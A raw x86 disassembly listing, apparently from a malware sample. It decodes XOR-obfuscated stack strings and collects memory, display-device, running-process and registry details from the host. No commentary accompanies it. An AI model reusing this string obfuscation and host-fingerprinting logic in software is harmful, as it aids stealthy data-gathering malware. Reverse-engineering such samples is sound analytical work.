push dword [ebp - 0x7f4]
movaps xmm1, xmmword [ebp - 0x3d0]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x3d0]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x3d0], xmm1
call fcn.00403350
add esp, 0xc
mov dword [ebp - 0x918], 0x40
lea eax, [ebp - 0x918]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x4e0a86
mov dword [ebp - 0x20], 0x93cd95ff
mov dword [ebp - 0x1c], 0xd3b53bf1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3e0], eax
mov dword [ebp - 0x3dc], ecx
mov dword [ebp - 0x20], 0x6b487e3b
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x3d8], eax
mov dword [ebp - 0x3d4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x3e0]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x910]
xorps xmm1, xmmword [ebp - 0x40]
shrd ecx, eax, 0x14
movaps xmmword [ebp - 0x3e0], xmm1
shr eax, 0x14
push eax
push ecx
lea eax, [ebp - 0x3e0]
push eax
push edi
call fcn.00403350
add esp, 0x10
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0
mov byte [ebp - 4], 0x21
xor esi, esi
push 0x1a3
lea eax, [ebp - 0xc0b]
mov dword [ebp - 0xac], esi
push esi
push eax
mov dword [ebp - 0xc10], 0x1a8
mov byte [ebp - 0xc0c], 0
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0xc10]
push 1
push eax
push esi
push esi
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
je 0x4e0ed2
nop
mov ecx, dword [ebp - 0xe8]
mov eax, ecx
mov edi, dword [ebp - 0xec]
sub eax, edi
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0xc4], 0
test eax, eax
je 0x4e0c4a
xor esi, esi
mov dword [ebp - 0xcc], esi
xorps xmm0, xmm0
mov dword [ebp - 0x288], 0
lea ecx, [ebp - 0xbec]
mov dword [ebp - 0x284], 0
movups xmmword [ebp - 0x298], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0b50
sub ecx, edx
lea eax, [ebp - 0xbec]
push ecx
push eax
lea ecx, [ebp - 0x298]
call fcn.00403040
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x298]
mov ecx, dword [ebp - 0xec]
mov edi, dword [ebp - 0x284]
add ecx, esi
mov esi, dword [ebp - 0x298]
cmp edi, 0xf
cmova eax, esi
cmp dword [ecx + 0x14], 0xf
mov edx, dword [ecx + 0x10]
jbe 0x4e0b9b
mov ecx, dword [ecx]
push dword [ebp - 0x288]
push eax
call fcn.00426f30
add esp, 8
mov byte [ebp - 0x41], al
mov byte [ebp - 4], 0x21
cmp edi, 0xf
jbe 0x4e0be4
lea ecx, [edi + 1]
mov eax, esi
cmp ecx, 0x1000
jb 0x4e0bd7
mov esi, dword [eax - 4]
add ecx, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4e1ac4
push ecx
push esi
call fcn.004338e3
mov al, byte [ebp - 0x41]
add esp, 8
mov dword [ebp - 0x288], 0
mov dword [ebp - 0x284], 0xf
mov byte [ebp - 0x298], 0
test al, al
jne 0x4e0e7e
mov ecx, dword [ebp - 0xe8]
mov eax, ecx
mov edi, dword [ebp - 0xec]
sub eax, edi
mov edx, dword [ebp - 0xc4]
mov esi, dword [ebp - 0xcc]
inc edx
sar eax, 3
add esi, 0x18
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0xc4], edx
mov dword [ebp - 0xcc], esi
cmp edx, eax
jb 0x4e0b23
mov esi, dword [ebp - 0xac]
mov dword [ebp - 0x20], 0xcce4bdfb
sub ecx, edi
mov dword [ebp - 0x1c], 0x81a15dbe
mov eax, dword [ebp - 0x20]
sar ecx, 3
imul edx, ecx, 0xaaaaaaab
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x550], eax
mov dword [ebp - 0x54c], ecx
mov dword [ebp - 0x98], 0x44661c12
mov dword [ebp - 0x94], 0x85ffb39c
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x548], eax
mov dword [ebp - 0x544], ecx
mov dword [ebp - 0xa0], 0x99cd3594
mov dword [ebp - 0x9c], 0x1b8ae46f
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
mov dword [ebp - 0x540], eax
mov dword [ebp - 0x53c], ecx
mov dword [ebp - 0x18], 0x23d873d8
mov dword [ebp - 0x14], 0xaff386e6
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x538], eax
mov dword [ebp - 0x534], ecx
mov dword [ebp - 0xb8], 0xa980d4ad
mov dword [ebp - 0xb4], 0xf3c01ed1
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov edi, dword [ebp - 0xf4]
mov dword [ebp - 0xa8], 0x61453c76
mov dword [ebp - 0xa4], 0xa0df89f8
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0xc0], 0x99c738e7
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xbc], 0x1b8ae46f
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x28], 0x23d873d8
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x24], 0xaff386e6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x550]
xorps xmm1, xmmword [ebp - 0x70]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0xbec]
push eax
movaps xmmword [ebp - 0x550], xmm1
lea eax, [ebp - 0x550]
movaps xmm1, xmmword [ebp - 0x540]
push edx
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x540], xmm1
call fcn.00403350
xorps xmm0, xmm0
mov dword [ebp - 0x270], 0
lea ecx, [ebp - 0xbec]
mov dword [ebp - 0x26c], 0
add esp, 0x10
lea edx, [ecx + 1]
movups xmmword [ebp - 0x280], xmm0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4e0de2
sub ecx, edx
lea eax, [ebp - 0xbec]
push ecx
push eax
lea ecx, [ebp - 0x280]
call fcn.00403040
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0xe8]
cmp eax, dword [ebp - 0xe4]
je 0x4e0e5a
movups xmm0, xmmword [ebp - 0x280]
mov byte [ebp - 0x280], 0
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x270]
movq qword [eax + 0x10], xmm0
add dword [ebp - 0xe8], 0x18
mov dword [ebp - 0x270], 0
mov dword [ebp - 0x26c], 0xf
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x280]
call fcn.00402df0
jmp 0x4e0e8a
lea ecx, [ebp - 0x280]
push ecx
push eax
lea ecx, [ebp - 0xec]
call fcn.004242a0
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x280]
call fcn.00402df0
jmp 0x4e0e8a
mov edi, dword [ebp - 0xf4]
mov esi, dword [ebp - 0xac]
push 0x1a3
lea eax, [ebp - 0xc0b]
mov dword [ebp - 0xc10], 0x1a8
push 0
inc esi
mov byte [ebp - 0xc0c], 0
push eax
mov dword [ebp - 0xac], esi
call fcn.004359a0
add esp, 0xc
lea eax, [ebp - 0xc10]
push 1
push eax
push esi
push 0
call dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
test eax, eax
jne 0x4e0af0
mov dword [ebp - 0x28], 0xf9dbdea0
mov dword [ebp - 0x24], 0x96a371a3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x490], eax
mov dword [ebp - 0x48c], ecx
mov dword [ebp - 0x28], 0x12204f05
mov dword [ebp - 0x24], 0xa0d584a5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x488], eax
mov dword [ebp - 0x484], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x490]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x490], xmm1
mov dword [ebp - 0x28], 0xa980a788
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x400], eax
mov dword [ebp - 0x3fc], ecx
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x3f8], eax
mov dword [ebp - 0x3f4], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x490]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x400]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x400]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x400], xmm1
call fcn.00403350
add esp, 0xc
mov dword [ebp - 0xde8], 0x128
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x4e1118
lea eax, [ebp - 0xde8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x4e1111
lea eax, [ebp - 0xde8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x4e1111
nop
mov dword [ebp - 0x28], 0xf2a0a788
mov dword [ebp - 0x24], 0xfe9d7af4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x40c], ecx
mov dword [ebp - 0x20], 0x61453c7c
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], ecx
mov dword [ebp - 0x98], 0xa980d4ad
mov dword [ebp - 0x94], 0xf3c01ed1
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0xa0], 0x61453c76
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x9c], 0xa0df89f8
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
push dword [ebp - 0xde0]
movaps xmm1, xmmword [ebp - 0x410]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0xdc4]
push eax
lea eax, [ebp - 0x410]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x410], xmm1
call fcn.00403350
add esp, 0x10
lea eax, [ebp - 0xde8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4e1040
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x28], 0xfadbdea0
mov dword [ebp - 0x24], 0x84b478be
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x41c], ecx
mov dword [ebp - 0x28], 0x3c204e17
mov dword [ebp - 0x24], 0xa0df83f5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x418], eax
mov dword [ebp - 0x414], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x3c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x420]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
movaps xmmword [ebp - 0x420], xmm1
mov dword [ebp - 0x28], 0xa980a788
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x430], eax
mov dword [ebp - 0x42c], ecx
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x428], eax
mov dword [ebp - 0x424], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x420]
push eax
mov dword [ebp - 0x3c], ecx
lea eax, [ebp - 0x430]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x34], ecx
xorps xmm1, xmmword [ebp - 0x40]
push eax
push edi
movaps xmmword [ebp - 0x430], xmm1
call fcn.00403350
mov dword [ebp - 0x28], 0xfdc69bfe
add esp, 0xc
mov dword [ebp - 0x24], 0xb6925f86
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6b0], eax
mov dword [ebp - 0x6ac], ecx
mov dword [ebp - 0x28], 0x22c712a
mov dword [ebp - 0x24], 0xcface68a
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a8], eax
mov dword [ebp - 0x6a4], ecx
mov dword [ebp - 0x28], 0xce9b4c81
mov dword [ebp - 0x24], 0x74ee8a06
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x6a0], eax
mov dword [ebp - 0x69c], ecx
mov dword [ebp - 0x28], 0x608400af
mov dword [ebp - 0x24], 0xca81f493
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x698], eax
mov dword [ebp - 0x694], ecx
mov dword [ebp - 0x28], 0xd372860f
mov dword [ebp - 0x24], 0xbb92cf07
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x28], 0x432282c4
mov dword [ebp - 0x24], 0x741ee8f5
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], ecx
mov dword [ebp - 0x28], 0x7cb304ca
mov dword [ebp - 0x24], 0x384fb0d3
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x680], eax
mov dword [ebp - 0x67c], ecx
mov dword [ebp - 0x28], 0x2a733ec
mov dword [ebp - 0x24], 0xcada8fba
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x8c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x99c738e7
mov dword [ebp - 0x24], 0x1b8ae46f
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x84], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x23d873d8
mov dword [ebp - 0x24], 0xaff386e6
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x7c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0xb624f261
mov dword [ebp - 0x24], 0xd4fbbc75
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x74], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x2d77deaa
mov dword [ebp - 0x24], 0x6d869c
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x6c], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x7cdf68ab
mov dword [ebp - 0x24], 0x384fb0d3
mov dword [ebp - 0x68], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x64], ecx
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x28], 0x2a733ec
mov dword [ebp - 0x24], 0xcada8fba
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x6b0]
xorps xmm1, xmmword [ebp - 0x90]
movaps xmmword [ebp - 0x6b0], xmm1
movaps xmm1, xmmword [ebp - 0x6a0]
xorps xmm1, xmmword [ebp - 0x80]
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], ecx
movaps xmmword [ebp - 0x6a0], xmm1
lea eax, [ebp - 0x14c]
movaps xmm1, xmmword [ebp - 0x690]
xorps xmm1, xmmword [ebp - 0x70]
push eax
push 0x20019
movaps xmmword [ebp - 0x690], xmm1
lea eax, [ebp - 0x6b0]
movaps xmm1, xmmword [ebp - 0x680]
xorps xmm1, xmmword [ebp - 0x60]
push 0
push eax
push closesocket
movaps xmmword [ebp - 0x680], xmm1
mov dword [ebp - 0x14c], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e18b6
xor esi, esi
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xdc]
mov dword [ebp - 0xdc], 0x400
push eax
lea eax, [ebp - 0x2700]
push eax
push esi
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExA]
mov dword [ebp - 0xcc], eax
test eax, eax
jne 0x4e18a1
mov dword [ebp - 0xe0], eax
mov dword [ebp - 0x28], 0x8cdca788
mov dword [ebp - 0x24], 0xf3c01ea2
mov ecx, dword [ebp - 0x28]
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x440], ecx
mov dword [ebp - 0x43c], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x438], eax
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x98], 0xa980d4ad
mov dword [ebp - 0x94], 0xf3c01ed1
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x750], eax
mov dword [ebp - 0xa0], 0x61453c76
mov dword [ebp - 0x9c], 0xa0df89f8
mov eax, dword [ebp - 0xa0]
mov dword [ebp - 0x748], eax
lea eax, [ebp - 0x2700]
push eax
lea eax, [ebp - 0x6b0]
mov dword [ebp - 0x74c], ecx
mov ecx, dword [ebp - 0x9c]
movaps xmm1, xmmword [ebp - 0x440]
push eax
lea eax, [ebp - 0x440]
mov dword [ebp - 0x744], ecx
xorps xmm1, xmmword [ebp - 0x750]
push eax
lea eax, [ebp - 0x2b00]
movaps xmmword [ebp - 0x440], xmm1
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0xe0]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x2b00]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4e189b
mov dword [ebp - 0x160], 0xf003f
mov dword [ebp - 0xdc], 0x400
mov dword [ebp - 0x18], 0xd9f3bde9
mov dword [ebp - 0x14], 0xbdb97fbd
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x450], eax
mov dword [ebp - 0x44c], ecx
mov dword [ebp - 0xb8], 0x61205117
mov dword [ebp - 0xb4], 0xa0df89f8
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x448], eax
mov dword [ebp - 0x444], ecx
mov dword [ebp - 0xa8], 0xa980d4ad
mov dword [ebp - 0xa4], 0xf3c01ed1
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x760], eax
mov dword [ebp - 0xc0], 0x61453c76
mov dword [ebp - 0xbc], 0xa0df89f8
mov eax, dword [ebp - 0xc0]
mov dword [ebp - 0x758], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x3300]
mov dword [ebp - 0x75c], ecx
mov ecx, dword [ebp - 0xbc]
movaps xmm1, xmmword [ebp - 0x450]
push eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x754], ecx
xorps xmm1, xmmword [ebp - 0x760]
push eax
push 0
lea eax, [ebp - 0x450]
movaps xmmword [ebp - 0x450], xmm1
push eax
push dword [ebp - 0xe0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e188f
mov dword [ebp - 0xc8], 0xd9f3bde9
mov dword [ebp - 0xc4], 0xa5b97fbd
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], ecx
mov dword [ebp - 0xb0], 0x8364e13
mov dword [ebp - 0xac], 0xa0dfe797
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], ecx
mov dword [ebp - 0xf8], 0xa980d4ad
mov dword [ebp - 0xf4], 0xf3c01ed1
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x208], 0x61453c76
mov dword [ebp - 0x204], 0xa0df89f8
mov eax, dword [ebp - 0x208]
mov dword [ebp - 0x768], eax
lea eax, [ebp - 0xdc]
push eax
lea eax, [ebp - 0x2f00]
mov dword [ebp - 0x76c], ecx
mov ecx, dword [ebp - 0x204]
movaps xmm1, xmmword [ebp - 0x460]
push eax
lea eax, [ebp - 0x160]
mov dword [ebp - 0x764], ecx
xorps xmm1, xmmword [ebp - 0x770]
push eax
push 0
lea eax, [ebp - 0x460]
movaps xmmword [ebp - 0x460], xmm1
push eax
push dword [ebp - 0xe0]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4e188f
mov dword [ebp - 0x210], 0xf2a0a788
mov dword [ebp - 0x20c], 0xfe9d6df4
mov eax, dword [ebp - 0x210]
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x470], eax
mov dword [ebp - 0x46c], ecx
mov dword [ebp - 0x218], 0x61453c7c
mov dword [ebp - 0x214], 0xa0df89f8
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x468], eax
mov dword [ebp - 0x464], ecx
mov dword [ebp - 0x1e8], 0xa980d4ad
mov dword [ebp - 0x1e4], 0xf3c01ed1
mov eax, dword [ebp - 0x1e8]
mov ecx, dword [ebp - 0x1e4]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x38], 0x61453c76
mov dword [ebp - 0x34], 0xa0df89f8
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x2f00]
push eax
lea eax, [ebp - 0x3300]
mov dword [ebp - 0x5c], ecx
mov ecx, dword [ebp - 0x34]
movaps xmm1, xmmword [ebp - 0x470]
push eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x54], ecx
xorps xmm1, xmmword [ebp - 0x60]
push eax
push edi
movaps xmmword [ebp - 0x470], xmm1
call fcn.00403350
add esp, 0x10
push dword [ebp - 0xe0]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0xcc]
inc esi
test eax, eax
je 0x4e1496
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
call fcn.0043d098
add esp, 4
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0xec]
call fcn.004185d0
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x1e0]
call fcn.00402df0
mov byte [ebp - 4], 0x15
mov eax, dword [ebp - 0xd8]
push dword [eax + 4]
lea eax, [ebp - 0xd8]
push eax
mov ecx, eax
call fcn.00423d10
push 0x2c
push dword [ebp - 0xd8]
call fcn.004338e3
add esp, 8
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x788]
call fcn.00402df0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x4f8]
call fcn.00402df0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x510]
call fcn.00402df0
sub esp, 0x18
mov byte [ebp - 0x41], 1
mov dword [ebp - 0x14], esp
lea eax, [ebp - 0x728]
mov esi, esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x154], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x25
mov byte [ebp - 4], 4
mov ecx, esi
call fcn.004e49f0
add esp, 0x18
mov byte [ebp - 4], 0x26
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7a0]
mov dl, byte [ebp - 0x41]
call fcn.004e2950
mov byte [ebp - 4], 0x27
mov dword [ebp - 0x38], 0xa980b6da
mov dword [ebp - 0x34], 0xf3c01ed1
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x480], eax
mov dword [ebp - 0x47c], ecx
mov dword [ebp - 0x38], 0x61453c76
mov dword [ebp - 0x34], 0xa0df89f8
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x478], eax
mov dword [ebp - 0x474], ecx
mov dword [ebp - 0x38], 0xa980d4ad
mov dword [ebp - 0x34], 0xf3c01ed1
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x38], 0x61453c76
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x34], 0xa0df89f8
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
cmp dword [ebp - 0x714], 0xf
movaps xmm1, xmmword [ebp - 0x480]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x728]
cmova eax, dword [ebp - 0x728]
mov dword [ebp - 0x54], ecx
lea ecx, [ebp - 0x480]
xorps xmm1, xmmword [ebp - 0x60]
push ecx
push eax
movaps xmmword [ebp - 0x480], xmm1
call fcn.00439810
mov esi, eax
add esp, 0x20
test esi, esi
je 0x4e1a60
cmp dword [ebp - 0x78c], 0xf
lea ecx, [ebp - 0x7a0]
push esi
push dword [ebp - 0x790]
cmova ecx, dword [ebp - 0x7a0]
push 1
push ecx
call fcn.00441618
push esi
call fcn.0043d098
add esp, 0x14
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x7a0]
call fcn.00402df0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x728]
call fcn.00402df0
mov byte [ebp - 4], 2
lea ecx, [ebx + 8]
call fcn.00402df0
mov byte [ebp - 4], 1
lea ecx, [ebx + 0x20]
call fcn.00402df0
mov byte [ebp - 4], 0
lea ecx, [ebx + 0x38]
call fcn.00402df0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebx + 0x50]
call fcn.00402df0
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00438c60
call fcn.00407260
int3